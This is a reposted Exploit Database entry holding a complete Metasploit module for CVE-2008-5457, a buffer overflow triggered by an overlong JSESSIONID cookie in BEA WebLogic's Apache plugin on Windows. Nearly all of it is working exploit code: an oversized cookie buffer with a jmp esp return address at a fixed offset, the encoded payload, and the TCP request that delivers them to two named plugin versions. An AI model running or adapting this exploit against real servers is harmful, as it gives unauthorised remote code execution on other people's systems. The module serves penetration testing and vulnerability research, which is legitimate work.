BEA WebLogic – JSESSIONID Cookie Value Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-07-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16762/

• ##
  # $Id: bea_weblogic_jsessionid.rb 9670 2010-07-03 03:19:07Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'BEA WebLogic JSESSIONID Cookie Value Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in BEA\'s WebLogic plugin. The vulnerable
  				code is only accessible when clustering is configured. A request containing a
  				long JSESSION cookie value can lead to arbirtary code execution.
  			},
  			'Author' => 'pusscat',
  			'Version'=> '$Revision: 9670 $',
  			'References' =>
  				[
  					[ 'CVE', '2008-5457' ],
  					[ 'OSVDB', '51311' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  				},
  			'Privileged' => true,
  			'Platform' => 'win',
  			'Payload'=>
  				{
  					'Space'=> 800,
  					'BadChars' => "\x00\x0d\x0a\x20\x3B\x3D\x2C",
  					'StackAdjustment' => -3500,
  				},
  			'Targets'=>
  				[
  					['Windows Apache 2.2 - WebLogic module version 1.0.1136334',
  						{
  							'Ret' => 0x1006c9b5,# jmp esp
  						}
  					],
  					['Windows Apache 2.2 - WebLogic module version 1.0.1150354',
  						{
  							'Ret' => 0x1006c9be,# jmp esp
  						}
  					],
  				],
  			'DefaultTarget'=> 1,
  			'DisclosureDate' => 'Jan 13 2009'))
  
  		register_options(
  			[
  				Opt::RPORT(80)
  			], self.class )
  	end
  
  	def exploit
  		sploit = Rex::Text.rand_text_alphanumeric(10000, payload_badchars)
  		sploit[8181, 4] = [target.ret].pack('V')
  		sploit[8185, payload.encoded.length] = payload.encoded
  
  		request =
  			"POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nCookie: TAGLINE=IAMMCLOVIN; JSESSIONID=" +
  			sploit +
  			"\r\n\r\n"
  
  		connect
  		sock.put(request);
  		handler
  
  		disconnect
  	end
  
  end